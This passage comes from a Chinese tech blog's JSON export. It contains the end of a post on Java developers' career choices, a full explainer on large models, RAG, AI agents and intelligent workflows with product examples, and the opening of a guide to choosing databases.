曾打比方说：“Java就像一辆可靠的卡车”，或许它没有跑车那样光鲜，但能载着重载货物稳稳前行。这辆卡车如今也在不断改装升级，动力和油耗都在改进。我们作为司机，要做的不是弃车而逃，而是练就更高超的驾驶技巧，并且学会在不同道路上换合适的交通工具。坚守初心并不代表故步自封，拥抱变化也不意味着全盘否定过去。当我们既掌握了Java这门老牌利器，又勇于学习新招式、新套路，在变化的浪潮中依然能找到自己的方向和节奏。\n10+年开发生涯沉淀下来的经验与智慧，是宝贵的财富。无论Java的流行曲线如何波动，真正优秀的工程师都会不断进化，拓展自己的边界。在这个过程中，我们既要有克制冷静的思考，看清技术演进的本质；也要保持对编程的热爱，不忘初心地享受技术创造的乐趣。愿每一位Java老兵都能在时代洪流中找到属于自己的位置：该出手时果断出手，该坚守时稳如磐石，在新的十年里续写属于你的传奇。\n","date":"2025-03-29T05:33:55Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-03-29-java-lao-bing-de-shi-zi-lu-kou-jian-shou-hai-shi-tu-wei/cover.jpg","permalink":"/p/2025-03-29-java-lao-bing-de-shi-zi-lu-kou-jian-shou-hai-shi-tu-wei/","title":"Java老兵的十字路口：坚守还是突围？"},{"content":"引子：十年前，如果有人告诉你计算机程序可以像人类专家一样撰写文章、回答复杂问题，甚至自主规划完成任务，你可能会觉得这是科幻小说里的情节。然而在今天，这样的场景已变成现实：我们与 ChatGPT 对话，它能写代码、翻译诗歌；我们呼唤智能助手，它能帮忙安排日程、生成报告。这一切看似魔法般的飞跃背后，其实有一系列重要的概念与技术在发挥作用，包括大模型（基础模型）、RAG（检索增强生成）、**智能 Agent（智能体）和智能工作流（Workflow）**等。它们共同塑造了人工智能的新范式。接下来，我将以故事化的方式，带领大家一步步揭开这些概念的面纱，看看它们是什么，又如何彼此关联，驱动着 AI 技术的发展。\n大模型：AI 的“大脑”革命 故事要从“大模型”开始讲起。如果把 AI 比作一个学生，那么过去的传统 AI 更像是专才——每训练一个模型，都只擅长一门“科目”。例如，早年的一个自然语言处理模型也许只会做情感分析，另一个只会翻译，因为它们都是为特定任务设计和训练的。而大模型（基础模型、预训练模型）的出现改变了这一切。大模型就像一位博览群书的通才，在海量数据上进行预训练，掌握了广泛的知识和技能，然后可以通过微调或提示，被引导去完成各种具体任务。\n这种范式转变始于大约 2018-2019 年左右。那时 NLP 领域出现了里程碑式的成果——比如 BERT 等模型的突破，让研究者们发现：与其为每个任务定制一个“小而专”的模型，不如训练一个通用的基础模型，再根据需要轻微调整即可。事实证明，这样的基础模型在绝大多数任务上的表现远远胜过以往专门构建的任务特定模型。从那之后，越来越多强大的基础模型相继问世：GPT-2、BERT 的升级版 RoBERTa、T5、BART 等等，一时间“大模型范式”席卷了整个 AI 界 。\n大模型有多大呢？举个例子，OpenAI 在 2020 年推出的 GPT-3 模型有1750 亿 个参数，而它的前代 GPT-2 只有 15 亿参数。参数规模扩大百倍带来的不仅是性能提升，还有一些意想不到的新能力。例如，GPT-3 展现出了上下文学习的能力：只需在提示中给出任务的描述或几个示例，它就能理解并完成下游任务，而无需像过去那样专门训练 。这种现象是 AI 领域前所未有的。可以说，大模型让 AI 从“模型为中心”的时代进入了“数据\u0026amp;知识为中心”的时代——模型本身通过读取海量文本学会了学习，成为一个强大的“大脑”，能够融会贯通多种任务。这正是新范式的开端。\n当然，大模型的出现不仅是参数多了那么简单。它改变了 AI 开发的范式：以前构建 AI 系统，我们需要针对每个任务收集专门的数据、设计特定的模型架构；而在大模型时代，我们往往从一个预训练好的基础模型出发，通过少量的样本微调（Fine-tuning）或者干脆不做额外训练，只用提示（Prompt）来指挥模型，就能让它去完成各种各样的任务。这种模式极大降低了 AI 应用的门槛，也提高了适应性。换句话说，大模型就像打好了坚实地基的高楼，让我们可以在其上快速搭建出不同功能的房间。基础模型因此也被形象地称为*“Foundation Model”*，因为它为无数 AI 应用提供了共同的基础。\nRAG：给 AI 装上“百科全书”和“搜索引擎” 有了一个见多识广的大模型做“大脑”，是不是就万事大吉了呢？现实中，大模型虽然博学，却并非无所不知。它的知识止步于训练数据，缺少最新的信息来源，而且有时它会一本正经地胡说八道，生成看似合理但实际上错误的内容——这种现象被称为幻觉。想象一下，你问一个训练截至 2021 年的模型“2025 年的世界杯冠军是谁”，它可能会由于缺乏信息而编造一个答案。这显然不能满足需求。那么，有没有办法让 AI 在需要时查阅资料、获取最新知识，再给我们答复呢？\n答案就是 **RAG（Retrieval-Augmented Generation，检索增强生成）**技术。简单来说，RAG 就像是在 AI 的大脑旁边增加了一本 百科全书 和一个 搜索引擎。当用户提问时，AI 不仅动用自身的训练记忆去思考，还可以先去“查资料”——从外部知识库中检索相关的信息，然后结合这些资料再生成回答。\n这一技术理念由 Facebook AI Research 团队于 2020 年提出。它通过将信息检索与生成模型结合，赋予了大模型“开卷考试”的能力：先检索，后作答。其典型流程通常包括三个步骤：\n**检索（Retrieval）：**根据用户查询，从预先构建的知识库中找出相关信息。现实中，这个知识库可以是维基百科文章集合、公司内部文档，甚至互联网搜索引擎的结果。为了高效匹配查询和文档，系统会把文本预先转换为“向量”（一种数值表示），通过向量相似度来找最相关的内容片段。 **增强（Augmentation）：**将检索到的内容与用户原始问题合并，形成一个增强过的提示（Prompt）。这个提示把外部知识充当“背景资料”提供给大模型，相当于为它补课，确保模型在回答时参考最新且相关的信息。 **生成（Generation）：**大模型接收到包含背景知识的提示后，基于其中的信息来生成回答。因为参考了检索资料，回答往往更加准确、有依据，并且能够涵盖最新的事实。 通过这样的检索增强流程，RAG 可以在很大程度上缓解大模型的知识截止和幻觉问题，让回答既丰富又可靠。举个日常的例子：当你在一个 RAG 驱动的问答系统中询问“今年诺贝尔奖的得主有哪些贡献？”，系统会先去检索相关新闻报道和维基百科内容，然后综合这些资料给出翔实的答复，并在回答中引入检索到的事实依据。这比起仅靠大模型固有的训练记忆作答，要可信得多。\nRAG 技术已经实实在在地应用在我们的生活中。例如，许多搜索增强的问答系统正是 RAG 的产物：用户提问后，系统自动联网搜索，将检索结果送入大模型，从而生成包含最新信息的回答。微软的必应聊天、新版搜索引擎助手等都使用了类似思想。再比如国内近年来爆火的智能助手 Kimi，也是走的检索增强路线。Kimi 允许用户在提问时选择是否“联网”获取信息：当联网模式开启，如果你问它一个涉及最新资讯的问题，Kimi 会自动搜索网络资料再回答；即便在非联网模式下，用户也可以通过提示词要求它进行网络检索。据实测，Kimi 在这方面表现出色：例如，当要求“帮我解读马斯克最新的演讲”时，Kimi 会一次性检索多达 7 份相关资料并加以阅读理解，然后给出逻辑清晰、细节丰富的综合总结，而有些传统助手要么只能给出简单概括，要么干脆抛出搜索链接。\n不仅如此，Kimi 还展示了惊人的长文本处理能力。它能够一口气读完数十万字的文档并准确回答细节问题。例如，有测试让 Kimi 阅读《甄嬛传》的完整剧本（几十万字），结果它不仅记住了情节脉络，还能回答人物关系和剧情走向等细节；又让它快速“学习”两本医学专著，随后 Kimi 竟然可以化身为“老中医”为用户进行中医问诊。这样的能力令人大开眼界——背后正是大模型强大的上下文理解力结合了检索和存储技术，使得 AI 可以临时“记住”海量文本内容，再利用这些内容完成用户交代的任务。\n通过这些例子我们可以看到，RAG 相当于给 AI 配备了外部记忆和工具：当自己的知识不够用时，就查询资料来充实自己，然后再给出回答。它让 AI 从“闭卷考试”变成了“开卷考试”，极大拓展了 AI 可以涉猎的知识范围。这就好比我们人类在回答困难问题时，会先翻阅书籍或搜索网络，然后带着找到的资料再来作答一样。对于终端用户来说，RAG 带来的直接好处就是答案更准确、更及时，AI 助手变得更加 **“知情达理”**了。\n智能 Agent：让 AI 学会“计划”和“行动” 有了大模型的大脑和 RAG 的资料检索能力，我们的 AI 助手已经能回答各种问题，而且大多时候答案靠谱而详尽。那么，AI 接下来还能做什么？让我们把目光投向一个更具野心的目标：让 AI 像人一样自主地规划和执行复杂任务。这正是近一年里被广泛讨论的**“Agent”**概念的核心。\n在人工智能领域，Agent 本义是指能感知环境并采取行动的智能体。这里我们特指的 AI Agent（智能代理），是基于大语言模型构建的一种 自主决策系统。简单打个比方：如果说传统的软件流程像一条预先铺好的铁路，火车沿轨道固定路线前进；那么 AI Agent 更像一辆可以自由驾驶的汽车，它具备一定的智能和 自主性，能够根据目的地自己决定路线，遇到障碍还能绕道或调整计划。\n让我们通过一个小故事来理解 Agent 的作用。想象你有一个私人 AI 助手，小明。普通的大模型+RAG 助手，小明可以回答你的问题，给你建议。但如果你让它“帮我策划一次欧洲旅行并预订机票酒店”，传统助手可能只能给出一份旅行计划清单，具体预订还得你亲自去做。而一个 智能 Agent 则不同：它会先 规划 整个任务，比如确定行程路线、需要完成的子任务，然后它可以逐步 执行 这些子任务——调用工具去搜索航班并预订、打开浏览器填写酒店预订信息、在日历应用中添加行程等等，最终真正把旅行计划落实。这中间，Agent 需要能够 记忆 先前步骤的结果（比如已经订好了哪几晚的酒店），并根据新的情况随时调整计划（航班满员了就找替代航班）。整个过程中，它像一个训练有素的助理，一边动脑规划，一边动手操作。\n听起来很神奇不是吗？其实，这种让 LLM 像人一样思考和行动的想法正是 AI 界近期的热门议题 。人们发现，既然大型语言模型已经具备了理解自然语言、分析问题甚至“链式思考”的能力，那么我们完全可以让它扮演决策者的角色：赋予它一个目标，让它结合已有知识和工具，通过复杂的逻辑分析去完成现实世界的任务。在这个过程中，Agent 还能通过与环境交互不断评估和优化自己的行为，就像人类会反思自己做得对不对一样。这样的 LLM 使用方式，实际上就形成了一个基于 LLM 的智能 Agent 系统。\n那么，一个典型的 AI Agent 系统由哪些部分组成呢？首先核心依然是大语言模型本身，它是 Agent 的大脑，负责理解任务、分析问题并决定行动策略。除此之外，通常还需要几个关键模块来配合 ：\n规划（Planner）：负责制定行动计划。面对一个复杂目标时，Agent 需要把它拆解成一系列可执行的步骤，决定先做什么再做什么。这相当于脑海中规划路线。规划可以由 LLM 本身通过“思考”实现，也可以由一个专门的规划算法模块完成。在一些实现中，这一步称为**思维链（Chain-of-Thought）**推理，即模型在给出最终答案前先产出一串中间推理步骤，就像在脑海中打草稿。 **执行器（Executor）：**负责执行具体动作。比如，当 Agent 决定“现在需要上网搜索一下最新天气”，执行器就会调用相应的搜索 API 并将结果返回给 Agent；或者 Agent 决定“运行一段代码计算答案”，执行器则负责在沙盒环境执行代码并反馈输出。可以理解为，执行器是 Agent 与外部环境交互的“手和脚”，按照 Agent 的指令实际动手操作。 **工具使用（Tools）：**这是 Agent 可以调用的一系列外部工具的统称。工具可以是各种各样的东西——查询数据库、调用网络服务、运行计算程序、访问专有信息源等等 。工具为 Agent 扩展了能力边界：有了工具，一个语言模型 Agent 就不仅能对话，还能“触碰”外部世界（例如调用浏览器获取最新信息，或使用计算器进行精确计算）。正如前面的例子，小明 Agent 通过调用订票网站和日历应用这些“工具”，才能真正完成旅行预订任务。 记忆（Memory）：用来存储 Agent 在交互过程中的关键信息。这里的记忆可以分为短期记忆和长期记忆 。短期记忆指的是当前对话或任务的上下文（类似于人类的工作记忆），通常由 LLM 的上下文窗口维护；长期记忆则可以通过外部存储（如向量数据库）实现，用于保存跨越多轮交互的重要信息，随时供 Agent 检索调用。比如一个持续工作的 Agent 需要记住之前已经完成了哪些子任务、遇到了哪些障碍，这些信息就可以存入长期记忆以备后续参考。 通过以上组件的分工协作，Agent 实现了一个闭环：感知-思考-行动-再感知。它感知环境（通过读取输入和工具反馈）、思考决策（由 LLM 规划）、付诸行动（调用工具执行），再将行动结果纳入记忆，继续下一步。如此循环，直到达到目标或无法继续。这个过程与我们人类解决问题的方式非常相似。\n为何 Agent 概念在最近被热烈讨论？一方面，GPT-4 等强大的大模型让 Agent 变得可行——模型足够聪明，可以胜任规划和决策的角色；另一方面，一些早期的 自主 Agent 试验 惊艳了大众。2023 年初，一个名为 AutoGPT 的开源项目登上了各大社交媒体和开发者社区的热榜。AutoGPT 将 GPT-4 包装成一个可以自动循环执行的 Agent：用户只需要给它一个目标，它就会不停地为自己制定子任务、调用工具来尝试完成目标，还会生成新想法迭代，直到任务完成或耗尽预设循环。人们第一次看到 AI 经由简单的设定后竟能连续自主地执行这么多步，大呼过瘾。虽然 AutoGPT 在严肃任务上仍有很多局限，但它让大家看到了 Agent 的 潜力：未来，我们也许只需提出愿景，AI 代理就能替我们把繁琐的过程都跑通。正因如此，AI Agent 被视为 AI 下一个可能的飞跃方向。\n需要强调的是，AI Agent 与传统的自动化流程有着显著区别。传统的自动化（比如工厂里的流水线，或者 IT 系统里的 RPA 流程机器人）遵循的是预先编排好的固定步骤，对环境变化的适应性很有限。如果流程中出现了未按剧本的发展，传统系统往往就“懵”了，需要人工介入修改规则。而 AI Agent 拥有灵活性和自主性：它不是死板地按脚本走，而是可以在运行中根据需要动态决策下一步该做什么。正如有评论形容的：“简单来说，工作流是蓝图，Agent 是执行者。工作流提供清晰的步骤和秩序，适合可预测的任务；Agent 则赋予系统智慧和灵活性，能应对复杂多变的环境”。Agent 的决策不是事先完全写死的，而是由 AI 根据实时情况现推理出来的。这种自主性使其在处理开放场景、复杂决策时具有传统自动化无可比拟的优势。\n当然，两者也并非对立。智能 Agent 和工作流 可以优势互补，结合起来使用。在介绍工作流之前，我们先简单总结：Agent 让 AI 从被动应答者变成了主动执行者，赋予了 AI“行动力”和“主观能动性”。现在，一个有趣的问题是：如果我们希望在更大范围内利用 AI 的能力，比如让 AI 参与企业的整套业务流程，我们是完全依赖一个 Agent 从头到尾自由发挥好，还是预先设计好流程再让 AI 去填充执行更好呢？这就引出了 智能工作流 的概念。\n智能工作流：AI 流程的“蓝图”与“管家” 在很多实际场景中，我们需要处理的是一系列有固定业务逻辑的任务。例如，一个公司的招聘流程通常包括候选人筛选、初试、复试、offer 审批等明确步骤；一个报销流程包括提交申请、主管审批、财务复核、打款等环节。这些按规则进行的工作流（Workflow） 早在 AI 流行之前就已经广泛存在，并有各种软件去自动化它们。传统工作流注重的是 流程的标准化和效率：确保每个步骤按照预定规则执行，不遗漏、不出错。\n智能工作流概念是在传统工作流基础上融合了 AI 的能力。它依然是一套预定义的流程“蓝图”，但在流程的某些步骤上，引入了大模型或者 Agent 来完成原本需要人才能处理的复杂决策或创作工作，从而达到更高的自动化水平和灵活性。可以把智能工作流看作是架构师，而 AI Agent 是施工中灵活应变的工人，两者配合能够打造出既有秩序又有智能的系统。\n让我们通过实例来看工作流和 Agent 如何区别与协同。想象一家互联网公司的内容审核流程：以前，每当用户发布一篇帖子，这篇帖子会自动通过关键词过滤（这是固定规则的一步），然后进入人工审核队列，由审核员查看内容是否合法，再决定通过或下架。这就是一个典型的工作流：先机器筛选，再人工决策，最后执行结果。现在引入 AI 大模型后，我们可以设计一个智能工作流：帖子发布后，系统触发大模型 Agent 自动审阅内容，根据政策给出处理建议；如果 AI 判断明确违法，直接执行下架动作（Agent 自行决策的一步）；如果 AI 不确定，则将帖子标记给人类审核。这整个过程，AI Agent 作为“智能审核员”嵌入到了原有的工作流中，使流程自动化程度提高，但同时关键节点仍有预设的规则把控。这样既保证了流程的稳定性（流程步骤有据可循），又利用了 Agent 的灵活性来处理模糊情况。\n从上述例子可以看出，工作流强调的是流程的结构化和可控，而 Agent 强调的是决策的动态灵活。工作流更适合那些步骤明确、重复性强的任务，把这些环节自动化后能大幅提升效率、减少错误。比如公文审批流、客户工单处理、报表生成等场景，事先规划好步骤，让系统按部就班执行非常可靠。而 Agent 擅长的是复杂多变、难以完全穷举规则的情境，因为它可以现学现卖、随机应变。例如客服咨询中，用户的问题千奇百怪，让 Agent 来自主应对可以提高响应的个性化和准确度；又比如市场分析，需要综合多方面数据和经验，Agent 可以边查资料边分析给出策略建议。\n在实际应用中，智能工作流与 Agent 常常结合使用，形成取长补短的效果。一个常见的模式是：Agent 嵌入工作流。即在既定的工作流蓝图中，需要智能决策的节点交由 Agent 处理，需要标准执行的节点仍由固定流程完成。例如电商客服场景，当用户咨询一些常见问题时，由聊天机器人 Agent 实时回答；但一旦涉及比如退换货流程，需要走审批和库存检查等标准步骤时，则 Agent 触发后端的工作流系统处理后续环节。这种分工让用户体验到智能对话的便利，同时公司后台的流程也得到严格管理。\n另一个模式是工作流调用 Agent 作为子流程。比如在企业办公中，有一个月度报告生成的工作流，每月自动收集本月业务数据、生成 PPT 报告并发送给管理层。传统上，数据汇总可以自动化，但写报告和制作 PPT 需要人工。现在可以这样设计：流程走到“撰写报告”这步时，调用一个文本生成 Agent，让它基于收集的数据自动撰写分析报告初稿；接着进入“审校”步由人工检查修改；然后再调用一个图表生成 Agent 将数据和结论制作成 PPT 图表。这其实是多个 Agent 分别胜任不同子任务，再由整体工作流串联起来完成复杂产出。这类智能工作流已经在一些企业中开始落地，用于自动化处理文档撰写、合同审核、财务分析等多步任务，提高了办公效率。\n可以说，工作流提供框架，Agent 注入智慧。前者保证流程的可控和可预期，后者提供灵活应对和认知能力。正如前文引用的那句话，工作流是蓝图，Agent 是执行者 。在 AI 时代，两者界限正逐渐模糊，结合使用往往能带来更大价值。企业在部署 AI 时，会根据场景需要选择用纯 Agent 还是工作流+Agent：如果任务非常开放，例如探索式的数据分析，可能让 Agent 自由发挥；如果任务有明确业务流程，例如贷款审批，则以工作流为主，关键节点用 Agent 智能辅助决策。智能工作流 因此成为 AI 落地的重要方式，它既不像完全自主 Agent 那样难以掌控，也比传统死板流程更加智能，是现实中稳健应用 AI 的中间道路。\n技术背后的统一逻辑：模块化、可组合与思考能力 了解了基础模型、RAG、Agent 和工作流这些概念，我们不难发现它们背后有一些共通的思想 在支撑着 AI 系统的演进。\n首先是模块化与可组合性。无论是 RAG 也好，Agent 也好，实际上都是在将 AI 的能力拆分成不同功能模块，然后再组合起来使用。大模型是核心的通用智能模块，但我们通过 RAG 加上了“检索模块”、通过 Agent 架构引入了“规划模块”“执行模块”“记忆模块”等。这种模块化设计让复杂任务得以被分解征服，每个模块各司其职。例如，LangChain 这样的开发框架正是体现了模块化思想：它把 LLM、检索器、工具接口、记忆存储等作为独立组件，开发者可以像搭积木一样把它们组合成不同用途的 AI 应用 。正因为模块化，我们才能方便地替换或扩展某一部分能力（比如换用更强的搜索引擎，或添加一个新的专用工具），而不用推翻整个系统。这与软件工程中“高内聚、低耦合”的设计理念一脉相承。\n其次是链式思维（Chain-of-Thought）和逐步推理。不管是大模型在解数学题时列出步骤，还是 Agent 在执行任务时划分子目标，本质上都是在模拟人类解决问题时的“逐步思考”。研究发现，让模型显式地一阶段一阶段推理，比起让它一蹴而就给出答案，往往效果更好。这就是所谓“思维链提示”技术——在提示中引导模型先写出思考过程，再给答案。链式思维不仅提升了模型的推理准确性，也让 AI 决策过程对我们来说更透明可追踪。在 Agent 框架中，我们甚至可以将模型的每一步思考都打印出来，以便调试和监督。可以说，逐步推理已经成为大模型应用中的基本原则之一，它贯穿于 RAG（检索-结合-生成的三段式流程）和 Agent（规划-执行-反馈的循环过程）的各个环节。\n再次是反思与自我纠错机制。真正聪明的智能体，不仅能一步步完成任务，还应该能在过程中审视自己的行为并改进。这一点人类很擅长：我们会回顾之前的步骤是否有错误，并据此调整接下来的行动。类似地，给 AI 加入“反思（Reflection）”机制可以进一步提高可靠性。例如，在 Agent 执行过程中，设置一个步骤让模型审查自己产生的方案是否合理、前一步动作结果是否达到预期，如果发现问题就重新规划。这种自我反思机制已经在一些前沿研究和产品中出现：比如 AutoGPT 就引入过“Critic”角色来评价 Agent 提议的下一步行动；OpenAI 的计划中也探索过让 ChatGPT 先对自己的答案打分再完善。事实证明，让 AI 学会自我批评和改进能够减少犯错误的几率，提高最终结果质量。可以预见，未来的 AI 系统会越来越多地内置反思模块，让整个决策过程更像一个不断闭环优化的回路。\n最后一个统一的逻辑是知识与推理相分离的思想。传统上，我们构建一个智能系统往往把知识库和推理程序混在一起。但大模型时代，我们倾向于让一个通用模型掌握推理和语言能力，再通过检索或工具调用去获取具体知识。这种架构实际上遵循了计算机科学里的分而治之和职责分离原则：模型负责通用推理，知识库负责存储信息，工具负责与环境交互，各尽其职。这不仅提高了效率（因为不用为每个新知识再训练模型），也使系统更加灵活（知识更新只需更新数据库，不用重训模型）。从 RAG 到 Agent 再到 Workflow，都体现了这种组合逻辑——将不同能力来源的模块组合起来完成比单一模块更复杂的任务。\n综上，基础模型、RAG、Agent、工作流这些表面看似不同的概念，其实在设计哲学 上是一脉相承的：通过模块化组合，把大模型的通才能力与专门工具/知识结合；通过链式分解，让 AI 像人一样逐步解决问题；通过反思迭代，不断逼近更佳结果。这些原则就像隐藏在背后的“统一逻辑”，指导着 AI 系统从一个阶段演进到下一个阶段。理解了这些逻辑，我们就不难预见未来 AI 的发展方向：那就是构建更复杂但也更稳健的智能组合系统，在各行各业中发挥作用。\n融合实例：当今主流产品中的概念应用 说了这么多概念，最后我们通过几位 AI“明星”的故事，来看看这些理念是如何在当今主流产品和框架中融会贯通，发挥威力的。\nChatGPT：ChatGPT 无疑是大模型浪潮的开拓者之一。作为一个基于 GPT 系列大模型微调而来的对话系统，它展现了基础模型强大的语言理解和生成能力。ChatGPT 能回答各种问题、撰写文章，背后依靠的正是庞大的预训练模型以及随后的人类反馈强化学习调优。虽然最初版本的 ChatGPT 没有联网检索能力，但通过后续插件机制，它也开始拥抱 RAG 思想，让用户在提问时可以调用浏览器、数据库等工具获取信息，进一步提高答案的准确度（例如可以实时查询天气、新闻等）。可以说，ChatGPT 主要体现了大模型的通才能力，让大众亲身体验到范式转变的威力，同时它也为 Agent 的萌芽打下基础——许多人第一次想到“让 AI 帮我完成复杂任务”的灵感，正是来源于与 ChatGPT 的交互。\nBing Chat / 新必应：微软的新必应搜索其实是 RAG 一个直观的应用案例。它将 GPT-4 大模型与必应搜索引擎结合，当用户询问时，先检索网页信息，再由大模型综合搜索结果作答。这正是典型的检索增强生成流程。在回答中，新必应还会给出引用来源链接，让用户可以点击查看原始资料。这种做法极大增强了回答的可信度，让用户对 AI 的回答“心中有数”。新必应的出现标志着搜索引擎开始从纯信息检索工具向**“智能信息助手”**转变——用户得到的不再是一堆链接，而是整合后的答案，从而节省了自行筛选信息的时间。\nLangChain：这是一个面向开发者的开源框架，却在 AI 应用圈声名鹊起。LangChain 本身不提供新的模型，而是提供了一套便捷的“搭建流水线”的工具。开发者可以用 LangChain 很轻松地把大模型接入各种数据源（文本、数据库、API）或工具，并控制模型与工具交互的逻辑。例如，你可以用 LangChain 几行代码构建一个 QA 系统：连接一个向量数据库用于知识检索，然后调用 OpenAI 的 GPT 接口生成答案。也可以用它构建一个多工具 Agent，让模型按 ReAct（先推理再行动）框架决定何时搜网、何时算数。LangChain 的流行充分说明了模块化、工作流思维的重要性：它抽象出了常见的 RAG 和 Agent 模式，提供现成组件，降低了构建复杂 AI 应用的门槛。很多创业公司和个人开发者都用 LangChain 来快速开发原型，这也加速了 AI 新产品的涌现。\nAutoGPT：前文提到的 AutoGPT 可以算是现象级的实验产品。它不是由大厂推出，而是社区开发者的创造，但却一度刷屏。AutoGPT 把“让 AI 自己调用自己”这个想法付诸实践：GPT-4 被包装成一个循环 Agent，不断生成下一步行动、执行、再评估，再生成下一个行动，试图朝着用户给定目标前进。比如用户让它“帮我研究有哪些创业机会”，AutoGPT 就会自动地去搜索市场信息、分析可行性、汇总成报告。一些人戏称这类系统为“AI 劳模”或者“数字员工”*。尽管 AutoGPT 在效率和可靠性上还称不上成功，但它的意义在于 验证了 Agent 自治的可能性，并暴露了其中的挑战（比如容易在不必要的步骤上来回打转，或者对复杂任务难以收敛）。AutoGPT 启发了后续许多项目和研究，如 BabyAGI、AgentGPT 等，大家都在尝试改进自主 Agent 的规划、记忆和反思机制。这股浪潮也让业界意识到：也许真正强大的 AI 系统，不是一个无所不能的模型，而是一个能自主调用各种能力*的智能体。\nMicrosoft 365 Copilot： 这是微软将大模型深度融入办公软件套件（Word、Excel、Outlook 等）的产品。Copilot 的意义在于将智能工作流落地到大众日常办公中。它可以读取你的 Office 文档、邮件和日历等企业数据（通过微软 Graph 接口），然后配合 GPT-4 模型，帮你完成许多以前需要手工的事务：例如，根据几封相关邮件自动整理出一份会议纪要，或者直接在 Word 中根据提纲和参考资料起草一份报告初稿。365 Copilot 事实上运用了 RAG 技术来保证对用户私有数据的引用：它会先检索用户的相关文件内容作为提示的一部分，再让大模型生成结果。此外，Copilot 还能跨应用执行操作，比如你在 Teams 里让 Copilot 总结一下某个项目的进展，它会去搜索 SharePoint 上的文件、Outlook 的邮件记录，然后生成总结发回 Teams 聊天。这有点类似一个在 Office 环境中的专属 Agent，按需把不同应用的数据和功能串联起来，组成一个办公流程。对于职场人士来说，这种协助就像突然多了一个能干的智能秘书，极大提高了日常工作的效率。微软 Copilot 的发布让业界看到，AI 不止是聊天和问答，它完全可以融入专业软件的工作流，改变白领工作的范式。\nKimi 智能助手：作为国内大模型应用的代表，Kimi 的走红反映出用户对长文本处理和专业知识问答的强烈需求。Kimi 基于国产大模型搭配了自己独特的增强技术，亮点在于前面提到的超长上下文和检索能力。用户可以把海量的 PDF、Word 文档拖给 Kimi，让它帮忙总结、问答，这对于学生和职场人士都有巨大吸引力。比如大学生用它来整理课程资料要点，研究人员让它阅读多篇论文后提炼综述。Kimi 也提供联网模式，可以查新闻、找资料，再用大模型撰写回答（类似必应聊天的思路）。可以说，Kimi 把 RAG 和大上下文 功能做到了极致，让用户感到“我面对的是一个拥有全网知识和图书馆藏书的聪明助手”。它的成功也刺激了国内其它大模型产品加快跟进相关功能。Kimi 还体现出产品化的一些细节，比如提供接口方便调用、在对话中允许用户调节是否开启检索等等。这些都代表着 AI 助手向着 实用工具 的方向演进，而不只是一个 demo 式的聊天机器人。\n通过以上这些案例，我们可以看出，大模型、RAG、Agent、工作流等概念并不是割裂存在的。在实际产品中，往往是你中有我，我中有你：ChatGPT 这样的对话模型也开始借助工具变得“Agent 化”；专注 Agent 的 AutoGPT 也离不开背后强大的大模型和检索支持；工作流产品 Copilot 其实内部运用了 RAG 和 Agent 技术来执行办公任务；而像 Kimi 这样的助手则几乎把能用的技巧都用上了（大模型、长上下文、检索、多模态等），从而全面提升用户体验。AI 领域就这样呈现出百花齐放又殊途同归的景象：不同的技术流派最终都在朝着打造更聪明、更通用的人工智能这个共同目标前进。\n结语：协奏的未来 站在现在这个时间点回望，我们仿佛看到了人工智能发展史上一场精彩的接力：大模型奠定了通用智能的基石，RAG 为其插上了获取新知的翅膀，Agent 赋予了 AI 自主行动的灵魂，工作流 则为 AI 融入现实应用搭建了桥梁。这些概念如同乐队中的各色乐器，在 AI 变革的舞台上各展所长，又相互配合，奏响了智能新时代的序曲。\n对于普通用户而言，也许不需要了解每个技术细节，但知道这些名词背后的原理和意义，有助于我们更好地理解当下层出不穷的 AI 产品。不再把 ChatGPT 的回答视作不可思议的魔法，我们会意识到它是大模型+微调的成果；遇到能联网查资料的机器人，我们知道这是 RAG 在发挥作用；看到号称自动化工作的 AI 助手，我们明白那是 Agent 在幕后运转；企业引入 AI 协作平台，我们能联想到智能工作流在其中扮演了重要角色。这样一来，我们在使用这些 AI 工具时也能更理性、更高效，甚至可以思考如何将它们应用到自己的问题场景中。\n人工智能的发展还在加速。也许很快，我们会见到更多融合了“大模型 + RAG + Agent + Workflow”于一体的强大系统（比如 Dify），它们可以像人类团队那样协同工作，为我们完成复杂的任务。未来的 AI 助手可能既能上知天文下晓地理（大模型提供知识），又能即时查阅最新资料（检索增强），还能自主帮我们在网上办理各种事务（Agent 能力），并且无缝地嵌入我们的日常软件和生活流程中（就像最近大火的 Manus）。\n当然，AI 的进化带来了希望，也伴随挑战。正如大模型范式转变初期人们对技术和伦理提出的疑问一样，在 Agent 和工作流大行其道后，我们也需要关注 AI 决策透明度、责任划分以及安全控制等问题。但不管怎样，掌握这些关键概念能让我们以更清晰的思路去展望和应对未来。\n希望本文能帮助你梳理人工智能大模型相关领域的重要概念及它们之间千丝万缕的联系。从基础模型的横空出世，到 RAG 为模型插上知识的翅膀，再到 Agent 赋予 AI 主动性、工作流将 AI 引入千行百业，这场 AI 新范式的演进之旅才刚刚开始。而我们每一个人，都有幸作为见证者甚至参与者，站在这一历史进程的起点，一同去领略智能时代的精彩篇章。\n","date":"2025-03-28T10:07:43Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-03-28-ai-da-mo-xing-shi-dai-de-yan-jin-zhi-l-cong-ji-chu-mo-xing-r/cover.jpg","permalink":"/p/2025-03-28-ai-da-mo-xing-shi-dai-de-yan-jin-zhi-l-cong-ji-chu-mo-xing-r/","title":"AI大模型时代的演进之旅：从基础模型、RAG到智能Agent与工作流"},{"content":"引言 在当今的数字化时代，数据已成为企业和组织的核心资产。无论是金融交易记录、社交媒体互动、物联网传感器数据，还是企业内部的业务流程信息，都需要通过数据库进行存储、管理和分析。然而，面对市场上数十种主流的数据库技术（如 MySQL、MongoDB、Elasticsearch、HBase、Hive等），如何选择适合自身业务需求的数据库系统，成为许多技术决策者面临的难题。本文将深入探讨数据库的核心分类、技术特性、应用场景以及选择策略，帮助读者构建系统化的选型框架。\n数据库的分类 在进行数据库的选择前，你需要至少知道它的分类。\n在数据库技术的演进过程中，数据存储模型和应用需求的多样性催生了不同类型的数据库系统。这些系统根据其核心设计理念、数据组织方式以及适用场景的差异，形成了多个分类。\n关系型数据库（RDBMS）：结构化数据的基石 关系型数据库的根基是关系代数和集合论，通过二维表（Table）组织数据。每个表由行（记录）和列（字段）构成，通过主键（Primary Key）唯一标识记录，外键（Foreign Key）实现表间的关联。其核心优势在于ACID事务支持，即原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）、持久性（Durability），适用于对数据一致性要求极高的场景（如金融交易）\n适用场景：\n需要强一致性的业务系统（银行核心系统、ERP）。 多表关联查询频繁的OLTP（联机事务处理）场景（电商订单管理） 局限性：\n表结构预定义，修改成本高（如新增字段需 ALTER TABLE）。 